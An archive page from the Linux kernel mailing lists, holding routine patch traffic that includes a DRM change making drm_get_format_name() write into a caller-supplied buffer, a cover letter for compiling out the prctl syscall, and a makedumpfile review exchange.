All of lore.kernel.org
 help / color / mirror / Atom feed
* Re: [PATCH v2 2/2] scsi: ufs: Use the resource-managed function to add devfreq device
From: Martin K. Petersen @ 2016-11-09  0:17 UTC (permalink / raw)
  To: Chanwoo Choi
  Cc: myungjoo.ham, kyungmin.park, rjw, subhashj, linux-pm,
	linux-kernel, Vinayak Holikatti, James E.J. Bottomley,
	Martin K. Petersen, linux-scsi
In-Reply-To: <1478596408-2958-3-git-send-email-cw00.choi@samsung.com>

>>>>> "Chanwoo" == Chanwoo Choi <cw00.choi@samsung.com> writes:

Chanwoo> This patch uses the resource-managed to add the devfreq device.
Chanwoo> This function will make it easy to handle the devfreq device.

Applied to 4.10/scsi-queue.

-- 
Martin K. Petersen	Oracle Linux Engineering

^ permalink raw reply

* Re: [PATCH 2/2] makedumpfile: Clean up unused KERNEL_IMAGE_SIZE
From: Baoquan He @ 2016-11-09  0:16 UTC (permalink / raw)
  To: Dave Anderson; +Cc: panand, ats-kumagai, kexec, ebiederm, tglx, dyoung
In-Reply-To: <307037751.13707363.1478615163009.JavaMail.zimbra@redhat.com>

On 11/08/16 at 09:26am, Dave Anderson wrote:
> 
> 
> ----- Original Message -----
> > The old MODULES_VADDR need be decided by KERNEL_IMAGE_SIZE when kaslr
> > enabled. Now MODULES_VADDR is not needed any more since Pratyush makes
> > all VA to PA converting done by page table lookup. So remove its related
> > code.
> 
> Hi Bao,
> 
> I'm not clear on this.  The crash utility still reads/needs KERNEL_IMAGE_SIZE
> from the dumpfile's vmcoreinfo data.  Is it being written to the vmcoreinfo
> section somewhere else in the code?

Aha, seems makedumpfile will get the vmcoreinfo offset and size, then
write the whole vmcoreinfo block into dumped vmcore header. But if
specify '-g' for makedumpfile to only generate a vmcoreinfo file, it
won't contain KERNEL_IMAGE_SIZE. 

makedumpfile -g vmcoreinfo -x vmlinux

So I am not sure if you care about vmcoreinfo file, but you are right, I
should not remove the vmcoreinfo reading and writing data.

Thanks for pointing it out, will send v2 post.

Thanks
Baoquan

_______________________________________________
kexec mailing list
kexec@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/kexec

^ permalink raw reply

* [PATCH 0/2] Support compiling out the prctl syscall
From: Josh Triplett @ 2016-11-09  0:17 UTC (permalink / raw)
  To: Andrew Morton, Kees Cook, Johannes Weiner, Arnd Bergmann,
	Ingo Molnar, Andy Lutomirski, Petr Mladek, Thomas Garnier,
	Ard Biesheuvel, Nicolas Pitre, Zefan Li, Li Bin,
	Eric W. Biederman, Dmitry Vyukov, Ralf Baechle, Alex Thorlton,
	Michal Hocko, Mateusz Guzik, Cyrill Gorcunov, John Stultz,
	Al Viro <viro>

Some embedded systems can do without the prctl syscall, saving some space.

This also avoids regular increases in tinyconfig size as people add more
non-optional functionality to prctl (observed via the 0-day kernel
infrastructure).

The first patch moves prctl and all its helpers into a separate source file,
kernel/prctl.c, to allow making it optional via the Makefile without any
ifdefs.  The second patch adds the Kconfig option to make prctl optional.

Josh Triplett (2):
  kernel: Move prctl and helpers from kernel/sys.c to new kernel/prctl.c
  kernel: Support compiling out the prctl syscall

 init/Kconfig    |  12 +-
 kernel/Makefile |   1 +-
 kernel/prctl.c  | 684 +++++++++++++++++++++++++++++++++++++++++++++++++-
 kernel/sys.c    | 672 +------------------------------------------------
 kernel/sys_ni.c |   1 +-
 5 files changed, 698 insertions(+), 672 deletions(-)
 create mode 100644 kernel/prctl.c

base-commit: e3a00f68e426df24a5fb98956a1bd1b23943aa1e
-- 
git-series 0.8.11

^ permalink raw reply

* [PATCH 0/2] Support compiling out the prctl syscall
From: Josh Triplett @ 2016-11-09  0:17 UTC (permalink / raw)
  To: Andrew Morton, Kees Cook, Johannes Weiner, Arnd Bergmann,
	Ingo Molnar, Andy Lutomirski, Petr Mladek, Thomas Garnier,
	Ard Biesheuvel, Nicolas Pitre, Zefan Li, Li Bin,
	Eric W. Biederman, Dmitry Vyukov, Ralf Baechle, Alex Thorlton,
	Michal Hocko, Mateusz Guzik, Cyrill Gorcunov, John Stultz,
	Al Viro, Zach Brown, Anna Schumaker, Dave Hansen, linux-kernel,
	linux-api

Some embedded systems can do without the prctl syscall, saving some space.

This also avoids regular increases in tinyconfig size as people add more
non-optional functionality to prctl (observed via the 0-day kernel
infrastructure).

The first patch moves prctl and all its helpers into a separate source file,
kernel/prctl.c, to allow making it optional via the Makefile without any
ifdefs.  The second patch adds the Kconfig option to make prctl optional.

Josh Triplett (2):
  kernel: Move prctl and helpers from kernel/sys.c to new kernel/prctl.c
  kernel: Support compiling out the prctl syscall

 init/Kconfig    |  12 +-
 kernel/Makefile |   1 +-
 kernel/prctl.c  | 684 +++++++++++++++++++++++++++++++++++++++++++++++++-
 kernel/sys.c    | 672 +------------------------------------------------
 kernel/sys_ni.c |   1 +-
 5 files changed, 698 insertions(+), 672 deletions(-)
 create mode 100644 kernel/prctl.c

base-commit: e3a00f68e426df24a5fb98956a1bd1b23943aa1e
-- 
git-series 0.8.11

^ permalink raw reply

* [PATCH v3] drm: move allocation out of drm_get_format_name()
From: Eric Engestrom @ 2016-11-09  0:17 UTC (permalink / raw)
  To: linux-kernel
  Cc: David Airlie, dri-devel, Wei Yongjun, Daniel Vetter, Flora Cui,
	Gustavo Padovan, Tom St Denis, Chunming Zhou, Thomas Hellstrom,
	Laurent Pinchart, Sinclair Yeh, Xinliang Liu, Xinwei Kong,
	VMware Graphics, Vitaly Prosyak, Eric Engestrom, Alexandre Demers,
	Jani Nikula, intel-gfx, Eric Engestrom, Emily Deng,
	Colin Ian King <coli>
In-Reply-To: <20161108101558.ihvrprbbdqjwu5wg@phenom.ffwll.local>

The function's behaviour was changed in 90844f00049e, without changing
its signature, causing people to keep using it the old way without
realising they were now leaking memory.
Rob Clark also noticed it was also allocating GFP_KERNEL memory in
atomic contexts, breaking them.

Instead of having to allocate GFP_ATOMIC memory and fixing the callers
to make them cleanup the memory afterwards, let's change the function's
signature by having the caller take care of the memory and passing it to
the function.
The new parameter is a single-field struct in order to enforce the size
of its buffer and help callers to correctly manage their memory.

Fixes: 90844f00049e ("drm: make drm_get_format_name thread-safe")
Cc: Rob Clark <robdclark@gmail.com>
Cc: Christian König <christian.koenig@amd.com>
Acked-by: Christian König <christian.koenig@amd.com>
Acked-by: Rob Clark <robdclark@gmail.com>
Acked-by: Sinclair Yeh <syeh@vmware.com> (vmwgfx)
Reviewed-by: Jani Nikula <jani.nikula@intel.com>
Suggested-by: Ville Syrjälä <ville.syrjala@linux.intel.com>
Signed-off-by: Eric Engestrom <eric@engestrom.ch>
---
v3 - fix "Fixes" tag, replace it with an actual commit message
   - collect ack & r-b

v2 - use single-field struct instead of typedef to let the compiler
     enforce the type (Christian König)
---
 include/drm/drm_fourcc.h                        | 10 +++++-
 drivers/gpu/drm/drm_fourcc.c                    | 14 +++------
 drivers/gpu/drm/amd/amdgpu/dce_v10_0.c          |  7 ++---
 drivers/gpu/drm/amd/amdgpu/dce_v11_0.c          |  7 ++---
 drivers/gpu/drm/amd/amdgpu/dce_v6_0.c           |  3 +-
 drivers/gpu/drm/amd/amdgpu/dce_v8_0.c           |  7 ++---
 drivers/gpu/drm/drm_atomic.c                    |  7 +++--
 drivers/gpu/drm/drm_crtc.c                      |  7 +++--
 drivers/gpu/drm/drm_framebuffer.c               |  7 +++--
 drivers/gpu/drm/drm_modeset_helper.c            |  7 +++--
 drivers/gpu/drm/drm_plane.c                     |  7 +++--
 drivers/gpu/drm/hisilicon/kirin/kirin_drm_ade.c |  7 ++---
 drivers/gpu/drm/i915/i915_debugfs.c             | 10 +++---
 drivers/gpu/drm/i915/intel_atomic_plane.c       |  8 ++---
 drivers/gpu/drm/i915/intel_display.c            | 41 ++++++++++---------------
 drivers/gpu/drm/radeon/atombios_crtc.c          | 14 ++++-----
 drivers/gpu/drm/vmwgfx/vmwgfx_kms.c             |  3 +-
 17 files changed, 80 insertions(+), 86 deletions(-)

diff --git a/include/drm/drm_fourcc.h b/include/drm/drm_fourcc.h
index dc0aafa..4b03ca0 100644
--- a/include/drm/drm_fourcc.h
+++ b/include/drm/drm_fourcc.h
@@ -45,6 +45,14 @@ struct drm_format_info {
 	u8 vsub;
 };
 
+/**
+ * struct drm_format_name_buf - name of a DRM format
+ * @str: string buffer containing the format name
+ */
+struct drm_format_name_buf {
+	char str[32];
+};
+
 const struct drm_format_info *__drm_format_info(u32 format);
 const struct drm_format_info *drm_format_info(u32 format);
 uint32_t drm_mode_legacy_fb_format(uint32_t bpp, uint32_t depth);
@@ -54,6 +62,6 @@ int drm_format_horz_chroma_subsampling(uint32_t format);
 int drm_format_vert_chroma_subsampling(uint32_t format);
 int drm_format_plane_width(int width, uint32_t format, int plane);
 int drm_format_plane_height(int height, uint32_t format, int plane);
-char *drm_get_format_name(uint32_t format) __malloc;
+char *drm_get_format_name(uint32_t format, struct drm_format_name_buf *buf);
 
 #endif /* __DRM_FOURCC_H__ */
diff --git a/drivers/gpu/drm/drm_fourcc.c b/drivers/gpu/drm/drm_fourcc.c
index cbb8b77..99b0b60 100644
--- a/drivers/gpu/drm/drm_fourcc.c
+++ b/drivers/gpu/drm/drm_fourcc.c
@@ -79,17 +79,13 @@ uint32_t drm_mode_legacy_fb_format(uint32_t bpp, uint32_t depth)
 EXPORT_SYMBOL(drm_mode_legacy_fb_format);
 
 /**
- * drm_get_format_name - return a string for drm fourcc format
+ * drm_get_format_name - fill a string with a drm fourcc format's name
  * @format: format to compute name of
+ * @buf: caller-supplied buffer
- *
- * Note that the buffer returned by this function is owned by the caller
- * and will need to be freed using kfree().
  */
-char *drm_get_format_name(uint32_t format)
+char *drm_get_format_name(uint32_t format, struct drm_format_name_buf *buf)
 {
-	char *buf = kmalloc(32, GFP_KERNEL);
-
-	snprintf(buf, 32,
+	snprintf(buf->str, sizeof(buf->str),
 		 "%c%c%c%c %s-endian (0x%08x)",
 		 printable_char(format & 0xff),
 		 printable_char((format >> 8) & 0xff),
@@ -98,7 +94,7 @@ char *drm_get_format_name(uint32_t format)
 		 format & DRM_FORMAT_BIG_ENDIAN ? "big" : "little",
 		 format);
 
-	return buf;
+	return buf->str;
 }
 EXPORT_SYMBOL(drm_get_format_name);
 
diff --git a/drivers/gpu/drm/amd/amdgpu/dce_v10_0.c b/drivers/gpu/drm/amd/amdgpu/dce_v10_0.c
index 199d3f7..2924cdd 100644
--- a/drivers/gpu/drm/amd/amdgpu/dce_v10_0.c
+++ b/drivers/gpu/drm/amd/amdgpu/dce_v10_0.c
@@ -2032,7 +2032,7 @@ static int dce_v10_0_crtc_do_set_base(struct drm_crtc *crtc,
 	u32 tmp, viewport_w, viewport_h;
 	int r;
 	bool bypass_lut = false;
-	char *format_name;
+	struct drm_format_name_buf format_name;
 
 	/* no fb bound */
 	if (!atomic && !crtc->primary->fb) {
@@ -2144,9 +2144,8 @@ static int dce_v10_0_crtc_do_set_base(struct drm_crtc *crtc,
 		bypass_lut = true;
 		break;
 	default:
-		format_name = drm_get_format_name(target_fb->pixel_format);
-		DRM_ERROR("Unsupported screen format %s\n", format_name);
+		DRM_ERROR("Unsupported screen format %s\n",
+		          drm_get_format_name(target_fb->pixel_format, &format_name));
-		kfree(format_name);
 		return -EINVAL;
 	}
 
diff --git a/drivers/gpu/drm/amd/amdgpu/dce_v11_0.c b/drivers/gpu/drm/amd/amdgpu/dce_v11_0.c
index ecd000e..f0e3c5c 100644
--- a/drivers/gpu/drm/amd/amdgpu/dce_v11_0.c
+++ b/drivers/gpu/drm/amd/amdgpu/dce_v11_0.c
@@ -2013,7 +2013,7 @@ static int dce_v11_0_crtc_do_set_base(struct drm_crtc *crtc,
 	u32 tmp, viewport_w, viewport_h;
 	int r;
 	bool bypass_lut = false;
-	char *format_name;
+	struct drm_format_name_buf format_name;
 
 	/* no fb bound */
 	if (!atomic && !crtc->primary->fb) {
@@ -2125,9 +2125,8 @@ static int dce_v11_0_crtc_do_set_base(struct drm_crtc *crtc,
 		bypass_lut = true;
 		break;
 	default:
-		format_name = drm_get_format_name(target_fb->pixel_format);
-		DRM_ERROR("Unsupported screen format %s\n", format_name);
+		DRM_ERROR("Unsupported screen format %s\n",
+		          drm_get_format_name(target_fb->pixel_format, &format_name));
-		kfree(format_name);
 		return -EINVAL;
 	}
 
diff --git a/drivers/gpu/drm/amd/amdgpu/dce_v6_0.c b/drivers/gpu/drm/amd/amdgpu/dce_v6_0.c
index 44547f9..5c6b82f 100644
--- a/drivers/gpu/drm/amd/amdgpu/dce_v6_0.c
+++ b/drivers/gpu/drm/amd/amdgpu/dce_v6_0.c
@@ -1456,6 +1456,7 @@ static int dce_v6_0_crtc_do_set_base(struct drm_crtc *crtc,
 	u32 viewport_w, viewport_h;
 	int r;
 	bool bypass_lut = false;
+	struct drm_format_name_buf format_name;
 
 	/* no fb bound */
 	if (!atomic && !crtc->primary->fb) {
@@ -1559,7 +1560,7 @@ static int dce_v6_0_crtc_do_set_base(struct drm_crtc *crtc,
 		break;
 	default:
 		DRM_ERROR("Unsupported screen format %s\n",
-			  drm_get_format_name(target_fb->pixel_format));
+		          drm_get_format_name(target_fb->pixel_format, &format_name));
 		return -EINVAL;
 	}
 
diff --git a/drivers/gpu/drm/amd/amdgpu/dce_v8_0.c b/drivers/gpu/drm/amd/amdgpu/dce_v8_0.c
index 979aedf..5aef19d 100644
--- a/drivers/gpu/drm/amd/amdgpu/dce_v8_0.c
+++ b/drivers/gpu/drm/amd/amdgpu/dce_v8_0.c
@@ -1910,7 +1910,7 @@ static int dce_v8_0_crtc_do_set_base(struct drm_crtc *crtc,
 	u32 viewport_w, viewport_h;
 	int r;
 	bool bypass_lut = false;
-	char *format_name;
+	struct drm_format_name_buf format_name;
 
 	/* no fb bound */
 	if (!atomic && !crtc->primary->fb) {
@@ -2015,9 +2015,8 @@ static int dce_v8_0_crtc_do_set_base(struct drm_crtc *crtc,
 		bypass_lut = true;
 		break;
 	default:
-		format_name = drm_get_format_name(target_fb->pixel_format);
-		DRM_ERROR("Unsupported screen format %s\n", format_name);
+		DRM_ERROR("Unsupported screen format %s\n",
+		          drm_get_format_name(target_fb->pixel_format, &format_name));
-		kfree(format_name);
 		return -EINVAL;
 	}
 
diff --git a/drivers/gpu/drm/drm_atomic.c b/drivers/gpu/drm/drm_atomic.c
index c32fb3c..f29d3c5 100644
--- a/drivers/gpu/drm/drm_atomic.c
+++ b/drivers/gpu/drm/drm_atomic.c
@@ -835,9 +835,10 @@ static int drm_atomic_plane_check(struct drm_plane *plane,
 	/* Check whether this plane supports the fb pixel format. */
 	ret = drm_plane_check_pixel_format(plane, state->fb->pixel_format);
 	if (ret) {
-		char *format_name = drm_get_format_name(state->fb->pixel_format);
-		DRM_DEBUG_ATOMIC("Invalid pixel format %s\n", format_name);
+		struct drm_format_name_buf format_name;
+		DRM_DEBUG_ATOMIC("Invalid pixel format %s\n",
+		                 drm_get_format_name(state->fb->pixel_format,
+		                                     &format_name));
-		kfree(format_name);
 		return ret;
 	}
 
diff --git a/drivers/gpu/drm/drm_crtc.c b/drivers/gpu/drm/drm_crtc.c
index 13441e2..08ac216 100644
--- a/drivers/gpu/drm/drm_crtc.c
+++ b/drivers/gpu/drm/drm_crtc.c
@@ -827,9 +827,10 @@ int drm_mode_setcrtc(struct drm_device *dev, void *data,
 			ret = drm_plane_check_pixel_format(crtc->primary,
 							   fb->pixel_format);
 			if (ret) {
-				char *format_name = drm_get_format_name(fb->pixel_format);
-				DRM_DEBUG_KMS("Invalid pixel format %s\n", format_name);
+				struct drm_format_name_buf format_name;
+				DRM_DEBUG_KMS("Invalid pixel format %s\n",
+				              drm_get_format_name(fb->pixel_format,
+				                                  &format_name));
-				kfree(format_name);
 				goto out;
 			}
 		}
diff --git a/drivers/gpu/drm/drm_framebuffer.c b/drivers/gpu/drm/drm_framebuffer.c
index 49fd7db..df6b180 100644
--- a/drivers/gpu/drm/drm_framebuffer.c
+++ b/drivers/gpu/drm/drm_framebuffer.c
@@ -133,9 +133,10 @@ static int framebuffer_check(const struct drm_mode_fb_cmd2 *r)
 
 	info = __drm_format_info(r->pixel_format & ~DRM_FORMAT_BIG_ENDIAN);
 	if (!info) {
-		char *format_name = drm_get_format_name(r->pixel_format);
-		DRM_DEBUG_KMS("bad framebuffer format %s\n", format_name);
+		struct drm_format_name_buf format_name;
+		DRM_DEBUG_KMS("bad framebuffer format %s\n",
+		              drm_get_format_name(r->pixel_format,
+		                                  &format_name));
-		kfree(format_name);
 		return -EINVAL;
 	}
 
diff --git a/drivers/gpu/drm/drm_modeset_helper.c b/drivers/gpu/drm/drm_modeset_helper.c
index 2544dfe..2f452b3 100644
--- a/drivers/gpu/drm/drm_modeset_helper.c
+++ b/drivers/gpu/drm/drm_modeset_helper.c
@@ -75,10 +75,11 @@ void drm_helper_mode_fill_fb_struct(struct drm_framebuffer *fb,
 
 	info = drm_format_info(mode_cmd->pixel_format);
 	if (!info || !info->depth) {
-		char *format_name = drm_get_format_name(mode_cmd->pixel_format);
+		struct drm_format_name_buf format_name;
 
-		DRM_DEBUG_KMS("non-RGB pixel format %s\n", format_name);
+		DRM_DEBUG_KMS("non-RGB pixel format %s\n",
+		              drm_get_format_name(mode_cmd->pixel_format,
+		                                  &format_name));
-		kfree(format_name);
 
 		fb->depth = 0;
 		fb->bits_per_pixel = 0;
diff --git a/drivers/gpu/drm/drm_plane.c b/drivers/gpu/drm/drm_plane.c
index 249c0ae..2ba0c22 100644
--- a/drivers/gpu/drm/drm_plane.c
+++ b/drivers/gpu/drm/drm_plane.c
@@ -479,9 +479,10 @@ static int __setplane_internal(struct drm_plane *plane,
 	/* Check whether this plane supports the fb pixel format. */
 	ret = drm_plane_check_pixel_format(plane, fb->pixel_format);
 	if (ret) {
-		char *format_name = drm_get_format_name(fb->pixel_format);
-		DRM_DEBUG_KMS("Invalid pixel format %s\n", format_name);
+		struct drm_format_name_buf format_name;
+		DRM_DEBUG_KMS("Invalid pixel format %s\n",
+		              drm_get_format_name(fb->pixel_format,
+		                                  &format_name));
-		kfree(format_name);
 		goto out;
 	}
 
diff --git a/drivers/gpu/drm/hisilicon/kirin/kirin_drm_ade.c b/drivers/gpu/drm/hisilicon/kirin/kirin_drm_ade.c
index 7e7a4d4..afc2b5d 100644
--- a/drivers/gpu/drm/hisilicon/kirin/kirin_drm_ade.c
+++ b/drivers/gpu/drm/hisilicon/kirin/kirin_drm_ade.c
@@ -608,17 +608,16 @@ static void ade_rdma_set(void __iomem *base, struct drm_framebuffer *fb,
 			 u32 ch, u32 y, u32 in_h, u32 fmt)
 {
 	struct drm_gem_cma_object *obj = drm_fb_cma_get_gem_obj(fb, 0);
-	char *format_name;
+	struct drm_format_name_buf format_name;
 	u32 reg_ctrl, reg_addr, reg_size, reg_stride, reg_space, reg_en;
 	u32 stride = fb->pitches[0];
 	u32 addr = (u32)obj->paddr + y * stride;
 
 	DRM_DEBUG_DRIVER("rdma%d: (y=%d, height=%d), stride=%d, paddr=0x%x\n",
 			 ch + 1, y, in_h, stride, (u32)obj->paddr);
-	format_name = drm_get_format_name(fb->pixel_format);
 	DRM_DEBUG_DRIVER("addr=0x%x, fb:%dx%d, pixel_format=%d(%s)\n",
-			 addr, fb->width, fb->height, fmt, format_name);
+			 addr, fb->width, fb->height, fmt,
+			 drm_get_format_name(fb->pixel_format, &format_name));
-	kfree(format_name);
 
 	/* get reg offset */
 	reg_ctrl = RD_CH_CTRL(ch);
diff --git a/drivers/gpu/drm/i915/i915_debugfs.c b/drivers/gpu/drm/i915/i915_debugfs.c
index 20638d2..670423e 100644
--- a/drivers/gpu/drm/i915/i915_debugfs.c
+++ b/drivers/gpu/drm/i915/i915_debugfs.c
@@ -2971,7 +2971,7 @@ static void intel_plane_info(struct seq_file *m, struct intel_crtc *intel_crtc)
 	for_each_intel_plane_on_crtc(dev, intel_crtc, intel_plane) {
 		struct drm_plane_state *state;
 		struct drm_plane *plane = &intel_plane->base;
-		char *format_name;
+		struct drm_format_name_buf format_name;
 
 		if (!plane->state) {
 			seq_puts(m, "plane->state is NULL!\n");
@@ -2981,9 +2981,9 @@ static void intel_plane_info(struct seq_file *m, struct intel_crtc *intel_crtc)
 		state = plane->state;
 
 		if (state->fb) {
-			format_name = drm_get_format_name(state->fb->pixel_format);
+			drm_get_format_name(state->fb->pixel_format, &format_name);
 		} else {
-			format_name = kstrdup("N/A", GFP_KERNEL);
+			sprintf(format_name.str, "N/A");
 		}
 
 		seq_printf(m, "\t--Plane id %d: type=%s, crtc_pos=%4dx%4d, crtc_size=%4dx%4d, src_pos=%d.%04ux%d.%04u, src_size=%d.%04ux%d.%04u, format=%s, rotation=%s\n",
@@ -2999,10 +2999,8 @@ static void intel_plane_info(struct seq_file *m, struct intel_crtc *intel_crtc)
 			   ((state->src_w & 0xffff) * 15625) >> 10,
 			   (state->src_h >> 16),
 			   ((state->src_h & 0xffff) * 15625) >> 10,
-			   format_name,
+			   format_name.str,
 			   plane_rotation(state->rotation));
-
-		kfree(format_name);
 	}
 }
 
diff --git a/drivers/gpu/drm/i915/intel_atomic_plane.c b/drivers/gpu/drm/i915/intel_atomic_plane.c
index c762ae5..6c76e3d 100644
--- a/drivers/gpu/drm/i915/intel_atomic_plane.c
+++ b/drivers/gpu/drm/i915/intel_atomic_plane.c
@@ -143,7 +143,7 @@ static int intel_plane_atomic_check(struct drm_plane *plane,
 		crtc_state->base.enable ? crtc_state->pipe_src_h : 0;
 
 	if (state->fb && drm_rotation_90_or_270(state->rotation)) {
-		char *format_name;
+		struct drm_format_name_buf format_name;
 
 		if (!(state->fb->modifier[0] == I915_FORMAT_MOD_Y_TILED ||
 			state->fb->modifier[0] == I915_FORMAT_MOD_Yf_TILED)) {
@@ -159,9 +159,9 @@ static int intel_plane_atomic_check(struct drm_plane *plane,
 		switch (state->fb->pixel_format) {
 		case DRM_FORMAT_C8:
 		case DRM_FORMAT_RGB565:
-			format_name = drm_get_format_name(state->fb->pixel_format);
-			DRM_DEBUG_KMS("Unsupported pixel format %s for 90/270!\n", format_name);
+			DRM_DEBUG_KMS("Unsupported pixel format %s for 90/270!\n",
+			              drm_get_format_name(state->fb->pixel_format,
+			                                  &format_name));
-			kfree(format_name);
 			return -EINVAL;
 
 		default:
diff --git a/drivers/gpu/drm/i915/intel_display.c b/drivers/gpu/drm/i915/intel_display.c
index 6f8f6ec..8209170 100644
--- a/drivers/gpu/drm/i915/intel_display.c
+++ b/drivers/gpu/drm/i915/intel_display.c
@@ -12871,7 +12871,7 @@ static void intel_dump_pipe_config(struct intel_crtc *crtc,
 
 	DRM_DEBUG_KMS("planes on this crtc\n");
 	list_for_each_entry(plane, &dev->mode_config.plane_list, head) {
-		char *format_name;
+		struct drm_format_name_buf format_name;
 		intel_plane = to_intel_plane(plane);
 		if (intel_plane->pipe != crtc->pipe)
 			continue;
@@ -12884,12 +12884,11 @@ static void intel_dump_pipe_config(struct intel_crtc *crtc,
 			continue;
 		}
 
-		format_name = drm_get_format_name(fb->pixel_format);
-
 		DRM_DEBUG_KMS("[PLANE:%d:%s] enabled",
 			      plane->base.id, plane->name);
 		DRM_DEBUG_KMS("\tFB:%d, fb = %ux%u format = %s",
-			      fb->base.id, fb->width, fb->height, format_name);
+			      fb->base.id, fb->width, fb->height,
+			      drm_get_format_name(fb->pixel_format, &format_name));
 		DRM_DEBUG_KMS("\tscaler:%d src %dx%d+%d+%d dst %dx%d+%d+%d\n",
 			      state->scaler_id,
 			      state->base.src.x1 >> 16,
@@ -12899,8 +12898,6 @@ static void intel_dump_pipe_config(struct intel_crtc *crtc,
 			      state->base.dst.x1, state->base.dst.y1,
 			      drm_rect_width(&state->base.dst),
 			      drm_rect_height(&state->base.dst));
-
-		kfree(format_name);
 	}
 }
 
@@ -15749,7 +15746,7 @@ static int intel_framebuffer_init(struct drm_device *dev,
 	unsigned int tiling = i915_gem_object_get_tiling(obj);
 	int ret;
 	u32 pitch_limit, stride_alignment;
-	char *format_name;
+	struct drm_format_name_buf format_name;
 
 	WARN_ON(!mutex_is_locked(&dev->struct_mutex));
 
@@ -15840,18 +15837,16 @@ static int intel_framebuffer_init(struct drm_device *dev,
 		break;
 	case DRM_FORMAT_XRGB1555:
 		if (INTEL_INFO(dev)->gen > 3) {
-			format_name = drm_get_format_name(mode_cmd->pixel_format);
-			DRM_DEBUG("unsupported pixel format: %s\n", format_name);
+			DRM_DEBUG("unsupported pixel format: %s\n",
+			          drm_get_format_name(mode_cmd->pixel_format, &format_name));
-			kfree(format_name);
 			return -EINVAL;
 		}
 		break;
 	case DRM_FORMAT_ABGR8888:
 		if (!IS_VALLEYVIEW(dev_priv) && !IS_CHERRYVIEW(dev_priv) &&
 		    INTEL_INFO(dev)->gen < 9) {
-			format_name = drm_get_format_name(mode_cmd->pixel_format);
-			DRM_DEBUG("unsupported pixel format: %s\n", format_name);
+			DRM_DEBUG("unsupported pixel format: %s\n",
+			          drm_get_format_name(mode_cmd->pixel_format, &format_name));
-			kfree(format_name);
 			return -EINVAL;
 		}
 		break;
@@ -15859,17 +15854,15 @@ static int intel_framebuffer_init(struct drm_device *dev,
 	case DRM_FORMAT_XRGB2101010:
 	case DRM_FORMAT_XBGR2101010:
 		if (INTEL_INFO(dev)->gen < 4) {
-			format_name = drm_get_format_name(mode_cmd->pixel_format);
-			DRM_DEBUG("unsupported pixel format: %s\n", format_name);
+			DRM_DEBUG("unsupported pixel format: %s\n",
+			          drm_get_format_name(mode_cmd->pixel_format, &format_name));
-			kfree(format_name);
 			return -EINVAL;
 		}
 		break;
 	case DRM_FORMAT_ABGR2101010:
 		if (!IS_VALLEYVIEW(dev_priv) && !IS_CHERRYVIEW(dev_priv)) {
-			format_name = drm_get_format_name(mode_cmd->pixel_format);
-			DRM_DEBUG("unsupported pixel format: %s\n", format_name);
+			DRM_DEBUG("unsupported pixel format: %s\n",
+			          drm_get_format_name(mode_cmd->pixel_format, &format_name));
-			kfree(format_name);
 			return -EINVAL;
 		}
 		break;
@@ -15878,16 +15871,14 @@ static int intel_framebuffer_init(struct drm_device *dev,
 	case DRM_FORMAT_YVYU:
 	case DRM_FORMAT_VYUY:
 		if (INTEL_INFO(dev)->gen < 5) {
-			format_name = drm_get_format_name(mode_cmd->pixel_format);
-			DRM_DEBUG("unsupported pixel format: %s\n", format_name);
+			DRM_DEBUG("unsupported pixel format: %s\n",
+			          drm_get_format_name(mode_cmd->pixel_format, &format_name));
-			kfree(format_name);
 			return -EINVAL;
 		}
 		break;
 	default:
-		format_name = drm_get_format_name(mode_cmd->pixel_format);
-		DRM_DEBUG("unsupported pixel format: %s\n", format_name);
+		DRM_DEBUG("unsupported pixel format: %s\n",
+		          drm_get_format_name(mode_cmd->pixel_format, &format_name));
-		kfree(format_name);
 		return -EINVAL;
 	}
 
diff --git a/drivers/gpu/drm/radeon/atombios_crtc.c b/drivers/gpu/drm/radeon/atombios_crtc.c
index 74f99ba..05f4ebe 100644
--- a/drivers/gpu/drm/radeon/atombios_crtc.c
+++ b/drivers/gpu/drm/radeon/atombios_crtc.c
@@ -1156,7 +1156,7 @@ static int dce4_crtc_do_set_base(struct drm_crtc *crtc,
 	u32 tmp, viewport_w, viewport_h;
 	int r;
 	bool bypass_lut = false;
-	char *format_name;
+	struct drm_format_name_buf format_name;
 
 	/* no fb bound */
 	if (!atomic && !crtc->primary->fb) {
@@ -1260,9 +1260,8 @@ static int dce4_crtc_do_set_base(struct drm_crtc *crtc,
 		bypass_lut = true;
 		break;
 	default:
-		format_name = drm_get_format_name(target_fb->pixel_format);
-		DRM_ERROR("Unsupported screen format %s\n", format_name);
+		DRM_ERROR("Unsupported screen format %s\n",
+		          drm_get_format_name(target_fb->pixel_format, &format_name));
-		kfree(format_name);
 		return -EINVAL;
 	}
 
@@ -1473,7 +1472,7 @@ static int avivo_crtc_do_set_base(struct drm_crtc *crtc,
 	u32 viewport_w, viewport_h;
 	int r;
 	bool bypass_lut = false;
-	char *format_name;
+	struct drm_format_name_buf format_name;
 
 	/* no fb bound */
 	if (!atomic && !crtc->primary->fb) {
@@ -1563,9 +1562,8 @@ static int avivo_crtc_do_set_base(struct drm_crtc *crtc,
 		bypass_lut = true;
 		break;
 	default:
-		format_name = drm_get_format_name(target_fb->pixel_format);
-		DRM_ERROR("Unsupported screen format %s\n", format_name);
+		DRM_ERROR("Unsupported screen format %s\n",
+		          drm_get_format_name(target_fb->pixel_format, &format_name));
-		kfree(format_name);
 		return -EINVAL;
 	}
 
diff --git a/drivers/gpu/drm/vmwgfx/vmwgfx_kms.c b/drivers/gpu/drm/vmwgfx/vmwgfx_kms.c
index c965514..e3f68cc 100644
--- a/drivers/gpu/drm/vmwgfx/vmwgfx_kms.c
+++ b/drivers/gpu/drm/vmwgfx/vmwgfx_kms.c
@@ -985,8 +985,9 @@ static struct drm_framebuffer *vmw_kms_fb_create(struct drm_device *dev,
 
 	info = drm_format_info(mode_cmd2->pixel_format);
 	if (!info || !info->depth) {
+		struct drm_format_name_buf format_name;
 		DRM_ERROR("Unsupported framebuffer format %s\n",
-			  drm_get_format_name(mode_cmd2->pixel_format));
+		          drm_get_format_name(mode_cmd2->pixel_format, &format_name));
 		return ERR_PTR(-EINVAL);
 	}
 
-- 
Cheers,
  Eric

_______________________________________________
Intel-gfx mailing list
Intel-gfx@lists.freedesktop.org
https://lists.freedesktop.org/mailman/listinfo/intel-gfx

^ permalink raw reply related

* [PATCH 1/2] kernel: Move prctl and helpers from kernel/sys.c to new kernel/prctl.c
From: Josh Triplett @ 2016-11-09  0:18 UTC (permalink / raw)
  To: Andrew Morton, Kees Cook, Johannes Weiner, Arnd Bergmann,
	Ingo Molnar, Andy Lutomirski, Petr Mladek, Thomas Garnier,
	Ard Biesheuvel, Nicolas Pitre, Zefan Li, Li Bin,
